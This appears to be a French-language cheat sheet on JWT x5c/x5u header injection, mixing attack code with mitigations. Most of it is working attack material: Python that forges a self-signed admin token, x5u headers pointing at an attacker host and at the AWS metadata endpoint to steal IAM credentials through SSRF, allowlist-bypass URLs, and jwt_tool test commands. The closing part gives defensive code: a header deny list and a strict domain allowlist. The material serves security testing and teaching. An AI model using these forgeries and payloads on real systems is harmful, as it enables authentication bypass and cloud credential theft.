Injection JWT x5c / x5u

from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.backends import default_backend
import datetime, base64, json
 
def b64url(b: bytes) -> str:
    return base64.urlsafe_b64encode(b).rstrip(b'=').decode()
 
# Générer paire de clés RSA
cle_privee = rsa.generate_private_key(
    public_exponent=65537, key_size=2048, backend=default_backend()
)
 
# Générer certificat X.509 auto-signé
sujet = emetteur = x509.Name([
    x509.NameAttribute(NameOID.COMMON_NAME, u"attaquant.exemple.com"),
])
cert = (
    x509.CertificateBuilder()
    .subject_name(sujet)
    .issuer_name(emetteur)
    .public_key(cle_privee.public_key())
    .serial_number(x509.random_serial_number())
    .not_valid_before(datetime.datetime.utcnow())
    .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365))
    .sign(cle_privee, hashes.SHA256(), default_backend())
)
 
# Encoder le certificat DER en base64 (x5c utilise base64 standard, pas urlsafe)
cert_der = cert.public_bytes(serialization.Encoding.DER)
cert_b64 = base64.b64encode(cert_der).decode()
 
# Construire en-tête JWT forgé avec x5c
en_tete_forge = {
    "alg": "RS256",
    "typ": "JWT",
    "x5c": [cert_b64]  # tableau de certificats DER encodés en base64
}
 
charge_forgee = {"sub": "utilisateur123", "role": "admin", "exp": 9999999999}
 
h = b64url(json.dumps(en_tete_forge, separators=(',',':')).encode())
p = b64url(json.dumps(charge_forgee, separators=(',',':')).encode())
msg = f"{h}.{p}".encode()
sig = cle_privee.sign(msg, padding.PKCS1v15(), hashes.SHA256())
token_forge = f"{h}.{p}.{b64url(sig)}"

{
  "alg": "RS256",
  "typ": "JWT",
  "x5u": "https://attaquant.com/attaquant-cert.pem"
}

# Chaîne d'attaque : x5u → SSRF → vol de clés AWS IMDSv1
en_tete_malveillant = {
    "alg": "RS256",
    "x5u": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-ec2"
}
# Le serveur récupère le point de terminaison IMDSv1
# Réponse : AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN

# Liste d'autorisation : "doit commencer par https://idp.exemple.com"
 
# Confusion de sous-domaine
"x5u": "https://idp.exemple.com.attaquant.com/cert.pem"
 
# Contournement userinfo
"x5u": "https://idp.exemple.com@attaquant.com/cert.pem"
 
# Chaîne de redirection ouverte
"x5u": "https://idp.exemple.com/redirect?url=https://attaquant.com/cert.pem"

# Tester l'injection x5c
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -X c -np -url "https://cible.com/api/protege"
 
# Tester x5u avec URL OOB
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -I -hc x5u -hv "https://VOTRE.interactsh.com/cert.pem"

EN_TETES_INTERDITS = {"jwk", "jku", "x5c", "x5u", "x5t", "x5t#S256"}
 
def analyser_et_verifier_jwt(token: str, cle_publique_fiable, algorithme: str = "RS256") -> dict:
    import jwt as pyjwt
 
    en_tete = pyjwt.get_unverified_header(token)
    trouves = EN_TETES_INTERDITS & en_tete.keys()
    if trouves:
        raise SecurityError(
            f"JWT contient des en-têtes d'injection de clé interdits : {trouves}. "
            "Token rejeté sans vérification."
        )
 
    if en_tete.get("alg") != algorithme:
        raise SecurityError(f"Algorithme inattendu : {en_tete.get('alg')!r}")
 
    return pyjwt.decode(token, cle_publique_fiable, algorithms=[algorithme])

from urllib.parse import urlparse
 
DOMAINES_CERTS_AUTORISES = {"cert.exemple.com", "certs.idp.exemple.com"}
 
def recuperer_certificat_x5u(url_x5u: str) -> bytes:
    analyse = urlparse(url_x5u)
 
    # Vérification liste d'autorisation — correspondance de domaine exacte
    if analyse.netloc not in DOMAINES_CERTS_AUTORISES:
        raise SecurityError(f"Domaine x5u pas dans liste d'autorisation : {analyse.netloc!r}")
 
    # HTTPS uniquement
    if analyse.scheme != "https":
        raise SecurityError(f"x5u doit utiliser HTTPS, obtenu : {analyse.scheme!r}")
 
    import httpx
    reponse = httpx.get(url_x5u, timeout=5.0, follow_redirects=False)
    if len(reponse.content) > 65536:  # 64 Ko max
        raise SecurityError("Certificat x5u trop volumineux")
 
    return reponse.content